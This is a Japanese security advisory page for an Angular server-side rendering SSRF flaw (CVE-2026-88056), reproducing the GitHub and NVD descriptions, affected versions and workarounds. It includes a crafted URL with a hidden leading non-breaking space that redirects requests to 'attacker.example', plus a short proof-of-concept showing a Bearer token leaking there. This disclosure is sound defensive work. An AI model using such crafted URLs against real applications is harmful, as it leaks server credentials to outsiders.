Angularにサーバーサイドリクエストフォージェリ(SSRF)の脆弱性(CVE-2026-88056)
概要
Angularにサーバーサイドリクエストフォージェリ(SSRF)の脆弱性が確認されました。
バージョン 22.0.0 以上 22.1.4 未満、21.0.0 以上 21.2.22 未満、20.0.0 以上 20.3.30 未満、19.2.25 以前に影響があります。
修正版 22.1.4 / 21.2.22 / 20.3.30 への更新が推奨されます。
脆弱性の基本情報
| 脆弱性ID |
CVE-2026-88056 GHSA-f6mr-pjwc-34m4 |
|---|---|
| 脆弱性の種類 | サーバーサイドリクエストフォージェリ(SSRF) |
| 危険度 | 重大 |
| CVSSスコア |
9.1(CVSS v3.1) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 公開日 | 2026年9月10日 |
| 更新日 | 2026年9月29日 |
影響を受ける製品
| 製品 | 影響を受けるバージョン | 修正版 | 出典 |
|---|---|---|---|
| Angular |
22.0.0 以上 22.1.4 未満、21.0.0 以上 21.2.22 未満、20.0.0 以上 20.3.30 未満、19.2.25 以前 | 22.1.4 / 21.2.22 / 20.3.30 | OSV.dev |
推奨対応
- Angularを、ご利用中の系列に対応する修正版(22.1.4 / 21.2.22 / 20.3.30)またはそれ以降の公式最新版へ更新してください。
情報元の原文
OSV.dev
Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
### Summary
A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.
### Technical Description
When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.
However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.
### Impact & Reachability
* **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.
* **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.
**Proof of Concept:**
```ts
// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);
if (target.origin !== trustedOrigin.origin) {
throw new Error('Cross-origin request blocked');
}
// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});
// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.
```
### Workarounds
* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\u00A0`) before performing origin checks or passing them to `HttpClient`.
* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
利用条件:CC BY 4.0
出典: GitHub Advisory Database(OSV.dev 経由で取得)。原文のまま掲載(改変なし)
NVD(National Vulnerability Database / NIST)
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.
利用条件:米国政府の著作物(パブリックドメイン)・原文のまま掲載
Copyright 1999-2026 The MITRE Corporation
CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy.
情報元
- OSV.dev
https://github.com/advisories/GHSA-f6mr-pjwc-34m4 - NVD(National Vulnerability Database / NIST)
https://nvd.nist.gov/vuln/detail/CVE-2026-88056